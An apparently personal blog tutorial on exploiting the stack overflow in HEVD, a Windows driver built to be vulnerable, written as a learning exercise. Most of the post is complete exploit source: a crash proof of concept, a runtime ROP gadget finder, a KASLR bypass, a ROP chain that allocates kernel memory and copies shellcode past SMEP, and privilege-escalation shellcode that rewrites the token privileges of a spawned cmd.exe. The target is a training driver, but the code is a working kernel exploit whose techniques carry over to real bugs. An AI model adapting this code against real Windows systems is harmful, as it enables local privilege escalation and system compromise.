{ enessakircolak }

Windows_Kernel_Exploit

May 26, 2025
15 minutes

HEVD Stack Overflow

Entrance

One of my boring days and looking for an adventure, I decided to start Windows Kernel Exploitation. What an adventure! 😋

When I was dealing with Android Kernel Exploit, I feel like I’m doing something with holding tongs. Because we can’t directly doing the work. It have to be done by kernel, so we just redirect the kernel. Seems like kernel is the tongs and using the tongs is requires to vulnerability. Now I feel it again in Windows Kernel Exploit.
My previous blog post also related with this blog, because I created it to using with things like this.

During my research this blog page guided me. You can also move forward with that. Why I create new one? Because it was 3 years old and I couldn’t find that gadgets anymore and I made the exploit with Dynamic Offset Resolution, so the code is going to find gadgets and kernel address in runtime.

If you don’t know HEVD it s a driver which is intentionally vulnerable for security researchers and enthusiasts.

I assume you already know my related blog posts and I won’t mention them again. This blog is going to move forward cumulative.
If you don’t know the concepts, it will be better to read these first

ROP // ROP Logic
ROP_Gadget // Gadget Finder
NT_Auth // Kernel debug/development Setup

First Thing First

Absolutely crashing the driver is the first step.
Source code shared at the project, so we are going to look our target function.


IOCTL handler

exp.png


Trigger Functionexp.png


Vulnerability(512bytes)exp.png


Thanks to Ashfaq Ansari there is also the patch of vulnerability. I recommend you to look other vulnerabilities on the HEVD, because familiarity is one of the most important thing on researching vulnerability. After eye familiarity If you encounter with a vulnerability you may detect it easier.

CRASH 🔵💀


Here is a basic bof poc.

#include <iostream>
#include <windows.h>

#define DEVICE_NAME	"\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS) // Gets the IOCTL number from the function number
#define STACK_OVERFLOW_IOCTL_NUMBER     IOCTL(0x800)

int main()
{
	SIZE_T in_buffer_size = 0x1000;
	PBYTE in_buffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, in_buffer_size);	
	memset((char*)in_buffer, 'A', in_buffer_size);

	bool result = DeviceIoControl(CreateFileA(DEVICE_NAME,FILE_READ_ACCESS | FILE_WRITE_ACCESS,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,NULL), STACK_OVERFLOW_IOCTL_NUMBER, in_buffer, in_buffer_size, NULL, 0, NULL, NULL);
	
	HeapFree(GetProcessHeap(), 0, (LPVOID)in_buffer);

	return 0;
}

You are dying to run it, aren’t you?
I won’t keep you waiting :)


exp.png

I think now I love the BSOD <3
This is what we are looking for, it means we did it right.

Going Dark


exp.png

We filled with “A” but which “A” is on the top of the stack when error occurred?
Buffer Overflow Pattern Generator is going to solve it.

exp.png

I created pattern which is 4000 bytes and it hit on “0Cr1”. That pattern’s offset is 2072.
If we change the value at 2072, it will be on the top of the stack, so after “ret” instruction executed, RIP will show that address. So it would be an address but which address?

You may think create an executable page in the userland and put your shellcode in it. Then get that page’s pointer and write that pointer to the found offset. Abracadabra!🧙
That’s what I thought until I came across SMEP :) Basically, it prevents the execution of userland memory from kernel mode.
Is it end??? Of course not, KPTI protects SMEP from being disabled.
And KASLR protection…
Ohh mama I’m in the dark…
Why Microsoft trying these things, even some of them easily bypass :)

Here is the plan.
We are gonna create an executable page in the kernel, write our shellcode to that allocated page and execute it.
That was how we bypass SMEP.
Now KASLR.
It seems like a joke for me, Microsoft provide a legit userland API for finding the offset of the function. Actually it is okay because there is no kernel address it just a userland address and address of function then you can just find the offset. But there is another API for getting the address of the driver :))) It may not be clear let me explain with an image.

exp.png


Returned “drivers[0]” is the ntoskrnl.exe.

Offset = Function_Address - Library’s_Base_Address (at userland)
Final Address = Library’s_Kernel_Address + offset

KASLR bypassed.
NEXTT ->

Creating ROP Chain


We should hijack the flow.

First of all, little x64-calling-convention

func1(int a, int b, int c, int d, int e, int f);
// a in RCX, b in RDX, c in R8, d in R9, f then e pushed on stack
Enough!

PVOID ExAllocatePoolWithTag(
[in] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,
[in] SIZE_T NumberOfBytes,
[in] ULONG Tag
);

Pool type will be zero -> rcx
Size will be 0x1000 -> rdx
Tag -> We don’t care 🥱
Before call, we should arrange parameters. So our rop chain look like this:

STACK:

&pop rcx;ret -> 0x0 taken by rcx and ret executes &pop rdx;ret
0x0
&pop rdx;ret -> 0x1000 taken by rdx and ret executes ExAllocatePoolWithTag
0x1000
&ExAllocatePoolWithTag 
&add rsp,0x20;ret 
&rax to rbx -> for jmp rbx 
&rax to rcx -> for memcpy parameter
&pop rdx 
&shellcode_address
&pop r8;ret
copy_size
&memcpy
&jmp rbx

Parameters, return addresses and stack cleaning by caller(we are). Pretty simple but all these gadget exists?

I find some gadgets to make that chain.
First of all, I want to confess what I did and I ensure you it is a real comedy.

ExPoolAPI
push rax;ret
pop rcx;ret
push rax;ret
pop rbx;ret

I think you got the point, rax to rcx and then rax to rbx that was my purpose.
When I did it, I thought it is pretty easy, what is the deal of finding gadget for rop hahahha
Look at carefully, after API call there is push rax and now API’s return value which is pointing the page is on the top of the stack. NOWW what is next?? RET! after pushing rax there is ret and that ret is getting page’s pointer into the RIP. So, next instruction to execute is inside of the empty page which cause to BSoD. I don’t remember what I thought while I did it but when I realise what happened it was embarrassing :))

Anyway we can assing rax with push and pop in same gadget.

exp.png

I used my own KernelRopGadget Finder to search, you can reach it from here.

There is no “push rax, pop rcx,ret” sequence. Compilers usually not generate it because of it is unnecessary due to efficiency(mov rcx,rax is better choice). Also it is hard to find that sequence between the opcodes. Nvm we can find another way.

Let me explain what I did to assign rax to rcx.
&pop_rbx;ret -> rbx, get the pop_rcx;ret address
&pop_rcx;ret -> this is taken by rbx
&push_rax;push_rbx;ret -> this executes after “pop_rbx;ret”

exp.png

After “RET” executes, “pop_rcx;ret address” will be in the RIP and RAX is in the top of the stack. It works 🥱

exp.png


Final ROP Chain look like this:

&pop_rcx;ret
&zero_value
&pop_rdx;ret
&copy_size
&ExAllocatePoolWithTag
&add_rsp_0x20;ret
&pop_rbx;ret -> rbx take the pop_rcx;ret address
&pop_rcx;ret
&push_rax;push_rbx;ret -> rax will be top of the stack and rbx point to pop_rcx;ret
&push_rax;pop_rbx;ret
&pop_rdx;ret
&Shellcode_address
&pop_r8;ret
&copy_size
&memcpy
&jmp_rbx

Here is the code of gadgets:
unsigned long long pop_rdx_ret = (unsigned long long)searchPattern({ 0x5a,0xc3 });
unsigned long long push_rax_pop_rbx_ret = (unsigned long long)searchPattern({ 0x50,0x5B,0xc3 });
unsigned long long pop_rcx_ret = (unsigned long long)searchPattern({ 0x59,0xc3 });
unsigned long long exPoolAllocate = (unsigned long long)get_kernel_symbol_addr("ExAllocatePoolWithTag");
unsigned long long rsp_epilog = (unsigned long long)searchPattern({ 0x48,0x83,0xc4,0x20,0xc3 });
unsigned long long pop_r8_ret= (unsigned long long)searchPattern({ 0x41,0x58,0xc3 });
unsigned long long memcpy_address = (unsigned long long)get_kernel_symbol_addr("memcpy");
unsigned long long jmp_rbx = (unsigned long long)searchPattern({ 0xff,0xe3 });
unsigned long long pop_rbx_ret = (unsigned long long)searchPattern({ 0x5b,0xc3 });
unsigned long long push_rax_push_rbx_ret = (unsigned long long)searchPattern({ 0x50,0x53,0xc3 });

Dynamic Gadget Finder

This is a part of my previous blog RopGadget. I just modify it to use into the exploit.

#include <iostream>
#include <sstream>
#include <algorithm>
#include <assert.h>
#include <fstream>
#include <vector>
#include <string>
#include <windows.h>
#include <psapi.h>

struct Section {
	uintptr_t startAddress;  
	size_t length;           
	std::vector<BYTE> data;  
};

unsigned long long kernelAddress() {
	LPVOID drivers[1024];
	DWORD cbNeeded;
	EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
	return (unsigned long long)drivers[0];

}

int* searchPattern(std::vector<BYTE> userPattern) {


	std::string filename = "C:\\Windows\\System32\\ntoskrnl.exe"; // for userland rop gadget tools give a full path of any other userland program 


	HANDLE loadFile = LoadLibraryA((LPCSTR)filename.c_str());
	if (!loadFile)
	{
		std::cout << "Auf Wiedersehen\n";
		printf("[!] Failed to get a handle to the file - Error Code (%d)\n", GetLastError());
		CloseHandle(loadFile);
		exit(1);
	}

	IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)loadFile + ((IMAGE_DOS_HEADER*)loadFile)->e_lfanew);
	IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);

	unsigned long long baseAddr = kernelAddress(); // change it with loadFile variable for userland gadgets
	if (!baseAddr) {
		std::cout  << "Nothing Founded" << std::endl;
		exit(1);
	}

	std::vector<BYTE> pattern;  // Searching pattern example: 48, 89, e0  
	for (BYTE byte : userPattern) {
		pattern.push_back(byte);
	}

	bool something = 0; // something may go wrong ehehe

	for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
		if (sectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
			uintptr_t sectionStart = (uintptr_t)((BYTE*)loadFile + sectionHeader[i].VirtualAddress);
			size_t sectionSize = sectionHeader[i].Misc.VirtualSize;

			Section newSection;
			newSection.startAddress = sectionStart;
			newSection.length = sectionSize;


			for (size_t j = 0; j < sectionSize; j++) {
				newSection.data.push_back(*((BYTE*)sectionStart + j));
			}

			// target pattern (example 0x59, 0xC3)
			size_t patternSize = pattern.size();

			for (size_t offset = 0; offset <= sectionSize - patternSize; offset++) {
				bool match = true;

				// compare patterns
				for (size_t k = 0; k < patternSize; k++) {
					if (newSection.data[offset + k] != pattern[k]) {
						match = false;
						break;
					}
				}

				if (match) {
					something = TRUE;

					// Gadget's userland address
					uintptr_t userAddress = sectionStart + offset;

					// Gadget's offset from the file's beginning
					size_t myOffset = userAddress - (size_t)loadFile;

					// Gadget's kernel address
					size_t kernelAddres = myOffset + baseAddr;

					return (int*)kernelAddres;
				}
			}
		}
	}

	if (!something) {
		std::cout << "Gadget!  Nothing founded or something went wrong. Please check your input file or change it\n ";
		exit(1);
	}

	return nullptr;
}

Creating Shellcode


I stole it from Danilo Rodrigues’s blog :)
I’m gonna make a little explanation but recommend you to read it from his own blog page for more details.

char* generate_shellcode() {
	//Generates and returns a shellcode to be executed after the ROP chain. This shellcode must do heavy lifting to elevate privileges.
	char* shellcode = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x4e + 11);
	memcpy(shellcode, "\x48\xc7\xc1\x90\x90\x90\x90\x48\x83\xec\x08\x48\x89\xe2\x48\xbb\x00\x00\x00\x00\xff\xff\xff\xff\xff\xd3\x48\x8b\x0c\x24\x48\xbb\x10\x32\x34\x12\xff\xff\xff\xff\xff\xd3\x48\x83\xc0\x40\x48\xb9\xfc\xff\xff\xff\x00\x00\x00\x00\x48\x89\x08\x48\x83\xc0\x08\x48\x89\x08\x48\x83\xc0\x08\x48\x89\x08\x48\x83\xc4\x08\x48\xBB\xC0\x0D\x02\x1B\x05\xF8\xFF\xFF\xFF\xE3", 0x4e + 11);
	memcpy(shellcode + 3, &pid, 4);
	memcpy(shellcode + 16, &psLookup, 8);
	memcpy(shellcode + 32, &psReferencePrimaryToken, 8);
	memcpy(shellcode + 0x4e+1, &kSysret, 8);

	return shellcode;
}

Offset’s gaven in the memcpy for example “shellcode + 3” if you check the shellcode’s fourth DWORD there is “nop”. These are going to change at the runtime, now the value at there are not important. Also offset 16,32 and 0x4e+1(these are QWORD)

His Assembly code:

mov rcx, <PID> ;The first argument to PsLookupProcessByProcessId() is the PID number. Will be adjusted dinamically. Rcx on Windows calling convention stores the first argument.
sub rsp, 0x8; The second argument given to PsLookupProcessByProcessId() is the EPROCESS struct to be filled (it is an out argument). I'm reserving 8 bytes for this in the stack.
mov rdx, rsp; Now placing the second argument, which is a pointer to the stack (the 8 bytes we just reserved for this) to rdx. Rdx on Windows calling convention stores the second argument, remember? 
movabs rbx, <ADDRESS OF PsLookupProcessByProcessId()> ;
call rbx ; Actually call the function! The EPROCESS structure will be in stack (RSP).

mov rcx, QWORD PTW [rsp] ; Moving RSP to the first and only argument of PsReferencePrimaryToken()
movabs rbx, <ADDRESS OF PsReferencePrimaryToken> ; 
call rbx ; Calling PsReferencePrimaryToken! The address for the struct will be on the return value, AKA rax register!
add rax, 0x40; Adjusting the offset. Now rax points directly to SEP_TOKEN_PRIVILEGES.
movabs rcx, 0xfffffffc ; The value of each SEP_TOKEN_PRIVILEGES is moved to rcx.
mov QWORD PTR [rax], rcx ; Now the magic happens! We change the first field in SEP_TOKEN_PRIVILEGES to 0xfffffffc. 
add rax, 0x8 ; Next field...
mov QWORD PTR [rax], rcx ; Changing the second field.
add rax, 0x8 ; Final field
mov QWORD PTR [rax], rcx ; Changing the third field.

NTSTATUS PsLookupProcessByProcessId(
  [in]  HANDLE    ProcessId,
  [out] PEPROCESS *Process
); 

PACCESS_TOKEN PsReferencePrimaryToken(
  [in, out] PEPROCESS Process
);

PsLookupProcessByProcessId is retrieve the EPROCESS into second parameter(rdx) -> input is PID of the process
PsReferencePrimaryToken is retrieve the token of the process to the input parameter -> input is EPROCESS of the process

Token’s privileges bytes are contain in the 0x40. Privileges’s length is 0x18, this is why “[rax], rcx” executes three time with rax increments.
You can read the other details from the comments.

The code

rex.h

#include <tchar.h>
#include "gadgetFinder.h"

#define DEVICE_NAME	"\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS) // Gets the IOCTL number from the function number
#define STACK_OVERFLOW_IOCTL_NUMBER     IOCTL(0x800)

using namespace std;
DWORD pid;


PVOID get_kernel_symbol_addr(const char* symbol) {
	PVOID kernelBaseAddr;
	HMODULE userKernelHandle;
	PCHAR functionAddress;
	unsigned long long offset;

	kernelBaseAddr = (PVOID)kernelAddress();
	userKernelHandle = LoadLibraryA("C:\\Windows\\System32\\ntoskrnl.exe");  // Loads the kernel binary as a lib
	if (userKernelHandle == INVALID_HANDLE_VALUE) return NULL;

	//printf("kernel -> %p\n", kernelBaseAddr);
	//printf("user -> %p\n", userKernelHandle);
	
	functionAddress = (PCHAR)GetProcAddress(userKernelHandle, symbol);  // Finds the address of the specified symbol
	if (functionAddress == NULL) return NULL;	

	offset = functionAddress - ((PCHAR)userKernelHandle);  // Subtracts the address found for the symbol to the base address of the lib loaded in the process memory
	return (PVOID)(((PCHAR)kernelBaseAddr) + offset);  // Adds the offset of the leaked kernel base address
}

unsigned long long pop_rdx_ret = (unsigned long long)searchPattern({ 0x5a,0xc3 });
unsigned long long push_rax_pop_rbx_ret = (unsigned long long)searchPattern({ 0x50,0x5B,0xc3 });
unsigned long long pop_rcx_ret = (unsigned long long)searchPattern({ 0x59,0xc3 });
unsigned long long exPoolAllocate = (unsigned long long)get_kernel_symbol_addr("ExAllocatePoolWithTag");
unsigned long long rsp_epilog = (unsigned long long)searchPattern({ 0x48,0x83,0xc4,0x20,0xc3 });
unsigned long long pop_r8_ret= (unsigned long long)searchPattern({ 0x41,0x58,0xc3 });
unsigned long long memcpy_address = (unsigned long long)get_kernel_symbol_addr("memcpy");
unsigned long long jmp_rbx = (unsigned long long)searchPattern({ 0xff,0xe3 });
unsigned long long pop_rbx_ret = (unsigned long long)searchPattern({ 0x5b,0xc3 });
unsigned long long push_rax_push_rbx_ret = (unsigned long long)searchPattern({ 0x50,0x53,0xc3 });
unsigned long long psLookup = (unsigned long long)get_kernel_symbol_addr("PsLookupProcessByProcessId");
unsigned long long psReferencePrimaryToken = (unsigned long long)get_kernel_symbol_addr("PsReferencePrimaryToken");
unsigned long long kSysret = (unsigned long long)searchPattern({ 0x65, 0x8b, 0x24, 0x25, 0x18, 0x90 });

HANDLE get_handle() {
	HANDLE h = CreateFileA(DEVICE_NAME,
		FILE_READ_ACCESS | FILE_WRITE_ACCESS,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	if (h == INVALID_HANDLE_VALUE) {
		printf("Failed to get handle =(\n");
		return NULL;
	}
	return h;
}


void add_to_payload(PBYTE in_buffer, SIZE_T* offset, unsigned long long* data, SIZE_T size) {
	memcpy(in_buffer + *offset, data, size);
	printf("Wrote %llx to offset %u\n", *data, *offset);
	*offset += size;
}

DWORD spawnCmd() {
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	wchar_t cmd[] = L"C:\\Windows\\System32\\cmd.exe"; // LPWSTR

	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));

	// Start the child process. 
	if (!CreateProcess(NULL,	// No module name (use command line)
		cmd,				        // Command line
		NULL,				        // Process handle not inheritable
		NULL,				        // Thread handle not inheritable
		FALSE,				        // Set handle inheritance to FALSE
		CREATE_NEW_CONSOLE,         // No creation flags
		NULL,				        // Use parent's environment block
		NULL,				        // Use parent's starting directory 
		&si,				        // Pointer to STARTUPINFO structure
		&pi)				        // Pointer to PROCESS_INFORMATION structure
		)
	{
		printf("CreateProcess failed (%d).\n", GetLastError());
		return -1;
	}

	return pi.dwProcessId;
}


char* generate_shellcode() {
	//Generates and returns a shellcode to be executed after the ROP chain. This shellcode must do heavy lifting to elevate privileges.
	char* shellcode = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x4e + 11);
	memcpy(shellcode, "\x48\xc7\xc1\x90\x90\x90\x90\x48\x83\xec\x08\x48\x89\xe2\x48\xbb\x00\x00\x00\x00\xff\xff\xff\xff\xff\xd3\x48\x8b\x0c\x24\x48\xbb\x10\x32\x34\x12\xff\xff\xff\xff\xff\xd3\x48\x83\xc0\x40\x48\xb9\xfc\xff\xff\xff\x00\x00\x00\x00\x48\x89\x08\x48\x83\xc0\x08\x48\x89\x08\x48\x83\xc0\x08\x48\x89\x08\x48\x83\xc4\x08\x48\xBB\xC0\x0D\x02\x1B\x05\xF8\xFF\xFF\xFF\xE3", 0x4e + 11);
	memcpy(shellcode + 3, &pid, 4);
	memcpy(shellcode + 16, &psLookup, 8);
	memcpy(shellcode + 32, &psReferencePrimaryToken, 8);
	memcpy(shellcode + 0x4e+1, &kSysret, 8);

	return shellcode;
}

void do_buffer_overflow(HANDLE h) {

	SIZE_T in_buffer_size = 2072 + 8 * 16 + 0x20; // 2072 is the offset; there are 15 8-byte long gadgets and an add rsp, 0x20.
	SIZE_T offset = 2072;

	// Bellek ayır
	PBYTE in_buffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, in_buffer_size);
	if (in_buffer == NULL) {
		printf("Memory allocation failed\n");
		exit(1);
	}

	// in_buffer'a kopyala
	memset((char*)in_buffer, 'A', in_buffer_size);
	pid = spawnCmd();
	printf("target process pid -> %x \n", pid);
	char* shellcode = generate_shellcode();

	unsigned long long size_of_copy = 0x4e+11;
	unsigned long long zeroValue = 0x0;

	add_to_payload(in_buffer, &offset, &pop_rcx_ret, 8);
	add_to_payload(in_buffer, &offset, &zeroValue, 8);
	add_to_payload(in_buffer, &offset, &pop_rdx_ret, 8);
	add_to_payload(in_buffer, &offset, &size_of_copy, 8);
	add_to_payload(in_buffer, &offset, &exPoolAllocate, 8);
	add_to_payload(in_buffer, &offset, &rsp_epilog, 8);
	offset += 0x20;
	add_to_payload(in_buffer, &offset, &pop_rbx_ret, 8); 
	add_to_payload(in_buffer, &offset, &pop_rcx_ret, 8); 
	add_to_payload(in_buffer, &offset, &push_rax_push_rbx_ret, 8);
	add_to_payload(in_buffer, &offset, &push_rax_pop_rbx_ret, 8);
	add_to_payload(in_buffer, &offset, &pop_rdx_ret, 8);
	add_to_payload(in_buffer, &offset, (unsigned long long*)(&shellcode), 8);
	add_to_payload(in_buffer, &offset, &pop_r8_ret, 8);
	add_to_payload(in_buffer, &offset, &size_of_copy, 8);
	add_to_payload(in_buffer, &offset, &memcpy_address, 8); 
	add_to_payload(in_buffer, &offset, &jmp_rbx, 8);

	//	system("pause");
	printf("Sending Buffer.\n");
	//bool result = DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, &sender, sizeof(sender), NULL, 0, NULL, NULL);
	bool result = DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, in_buffer, in_buffer_size, NULL, 0, NULL, NULL);

	if (!result) {
		printf("IOCTL Failed: %X\n", GetLastError());
		exit(1); // GoodBye
	}

	HeapFree(GetProcessHeap(), 0, (LPVOID)in_buffer);

}


TREX.cpp

#include "rex.h"

INT WINAPI WinMain(HINSTANCE hInst, HINSTANCE, LPSTR strCmdLine, INT){
	//std::vector<BYTE> pattern = { 0x65,0x8b,0x24,0x25,0x18,0x90 };  // initialize
	//cout << searchPattern(pattern);

	do_buffer_overflow(get_handle());

	//system("pause");
	return 0;
}

Result


exp.png

I tested it into different computers and there is no need to change offsets anymore, it works.
This is my first Windows Kernel Exploit experience so I tried to understand the logic and mechanism. I hope it is also usefull for you.
If you test and realise new thing please let me know and feel free to contact with me to talk.

Binary/Source

Here is the github -> link



~ The Hardest Choices Require The Strongest Wills… - Thanos 😎